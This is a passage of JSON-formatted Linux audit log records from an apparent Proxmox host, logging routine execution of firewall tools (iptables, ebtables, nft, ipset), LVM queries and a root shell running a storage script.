nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585835,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.835:66241): proctitle=\"ebtables-restore\""} {"@timestamp":1781964875824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.824:63011): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc137fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60461 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274125,"@rawstring":"node=pve type=PATH msg=audit(1781966274.125:69149): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585824,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.824:66240): proctitle=\"ebtables-restore\""} {"@timestamp":1781964875819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.819:63010): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60460 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274125,"@rawstring":"node=pve type=PATH msg=audit(1781966274.125:69149): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.810:66239): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964875814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.814:63009): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc2a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PATH msg=audit(1781966271.016:69148): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.793:66238): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964875807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.807:63008): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PATH msg=audit(1781966271.016:69148): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585778,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.778:66237): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964875802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.802:63007): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PATH msg=audit(1781966271.016:69147): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585756,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.756:66236): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964875798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.798:63006): arch=c000003e syscall=59 success=yes exit=0 a0=632dfa8c0d30 a1=632dfa8ccaf0 a2=632dfa89a680 a3=5 items=2 ppid=60450 pid=60456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271016,"@rawstring":"node=pve type=PATH msg=audit(1781966271.016:69146): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.734:66235): proctitle=697073657400726573746F7265"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.795:63005): arch=c000003e syscall=59 success=yes exit=0 a0=632defd8fac8 a1=7ffee5e48c20 a2=632dfa89a680 a3=632defd7324e items=2 ppid=60450 pid=60452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PATH msg=audit(1781966271.009:69145): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.699:66234): proctitle=\"ip6tables-save\""} {"@timestamp":1781964875795,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.795:63004): arch=c000003e syscall=59 success=yes exit=0 a0=7ffee5e48be0 a1=632dfa8bc3d0 a2=632dfa89a680 a3=5 items=2 ppid=60450 pid=60451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PATH msg=audit(1781966271.009:69145): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.669:66233): proctitle=\"iptables-save\""} {"@timestamp":1781964875791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.791:63002): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PATH msg=audit(1781966271.009:69144): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.661:66232): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964875784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.784:63001): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60449 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PATH msg=audit(1781966271.009:69143): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585652,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.652:66231): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964875778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.778:63000): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PATH msg=audit(1781966266.000:69142): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.648:66230): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.773:62999): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac90c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PATH msg=audit(1781966266.000:69142): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585647,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.647:66229): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875766,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.766:62998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PATH msg=audit(1781966266.000:69141): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.643:66228): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.760:62997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fe90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PATH msg=audit(1781966266.000:69140): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.633:66227): proctitle=\"ip6tables-save\""} {"@timestamp":1781964875575,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.575:62996): arch=c000003e syscall=59 success=yes exit=0 a0=64a7760fe8a0 a1=64a77612e1c0 a2=64a77612dc30 a3=0 items=3 ppid=60443 pid=60444 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"which\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PATH msg=audit(1781966265.991:69139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585626,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.626:66226): proctitle=\"iptables-save\""} {"@timestamp":1781964874922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.922:62995): arch=c000003e syscall=59 success=yes exit=0 a0=624dcc4a80a0 a1=624dcc4a89f0 a2=624dcc4a7780 a3=0 items=2 ppid=60435 pid=60443 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"bash\" exe=\"/usr/bin/bash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PATH msg=audit(1781966265.991:69139): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.619:66225): proctitle=69707365740073617665"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.919:62994): arch=c000003e syscall=59 success=yes exit=0 a0=624dcc4a7e90 a1=624dcc4a8770 a2=624dcc4a7780 a3=8 items=2 ppid=60439 pid=60441 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"tac\" exe=\"/usr/bin/tac\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PATH msg=audit(1781966265.991:69138): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.608:66224): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.919:62993): arch=c000003e syscall=59 success=yes exit=0 a0=624dcc4a7f80 a1=624dcc4a8830 a2=624dcc4a7780 a3=8 items=2 ppid=60439 pid=60442 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"tr\" exe=\"/usr/bin/tr\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PATH msg=audit(1781966265.991:69137): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585596,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.596:66223): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964874918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.918:62992): arch=c000003e syscall=59 success=yes exit=0 a0=624dcc4a7800 a1=624dcc4a80b0 a2=624dcc4a7130 a3=8 items=2 ppid=60436 pid=60438 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"tr\" exe=\"/usr/bin/tr\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265500,"@rawstring":"node=pve type=PATH msg=audit(1781966265.500:69135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965584252,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965584.252:66222): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964874913,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.913:62991): arch=c000003e syscall=59 success=yes exit=0 a0=603c2c6f4cc0 a1=603c2ca0e7f0 a2=603c2c9e5bd0 a3=8 items=3 ppid=60083 pid=60435 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"storage.sh\" exe=\"/usr/bin/bash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265500,"@rawstring":"node=pve type=PATH msg=audit(1781966265.500:69135): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965584229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965584.229:66221): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964874739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.739:62990): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcae0 a1=64f8d73f0ce0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265496,"@rawstring":"node=pve type=PATH msg=audit(1781966265.496:69134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965583.561:66220): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964874698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964874.698:62989): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740be00 a1=64f8d73db3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265496,"@rawstring":"node=pve type=PATH msg=audit(1781966265.496:69134): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965583.561:66219): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964870.956:62988): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265493,"@rawstring":"node=pve type=PATH msg=audit(1781966265.493:69133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965583561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965583.561:66218): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964870.946:62985): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265493,"@rawstring":"node=pve type=PATH msg=audit(1781966265.493:69133): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965583.547:66217): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.936:62982): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265491,"@rawstring":"node=pve type=PATH msg=audit(1781966265.491:69132): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965583.547:66216): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.929:62979): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60427 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265491,"@rawstring":"node=pve type=PATH msg=audit(1781966265.491:69132): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965583547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965583.547:66215): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.748:62976): arch=c000003e syscall=59 success=yes exit=0 a0=62ce06ce0d70 a1=62ce06cecc00 a2=62ce06cba680 a3=5 items=2 ppid=60420 pid=60426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265491,"@rawstring":"node=pve type=PATH msg=audit(1781966265.491:69131): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965578.536:66214): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865745,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.745:62975): arch=c000003e syscall=59 success=yes exit=0 a0=62cdfc980ac8 a1=7fffa5f4f6f0 a2=62ce06cba680 a3=62cdfc96424e items=2 ppid=60420 pid=60422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265487,"@rawstring":"node=pve type=PATH msg=audit(1781966265.487:69130): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965578.536:66213): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.744:62974): arch=c000003e syscall=59 success=yes exit=0 a0=7fffa5f4f6b0 a1=62ce06cdc410 a2=62ce06cba680 a3=5 items=2 ppid=60420 pid=60421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265487,"@rawstring":"node=pve type=PATH msg=audit(1781966265.487:69130): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965578536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965578.536:66212): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865740,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.740:62972): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60420 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265487,"@rawstring":"node=pve type=PATH msg=audit(1781966265.487:69130): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965578.527:66211): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.733:62971): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60419 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" 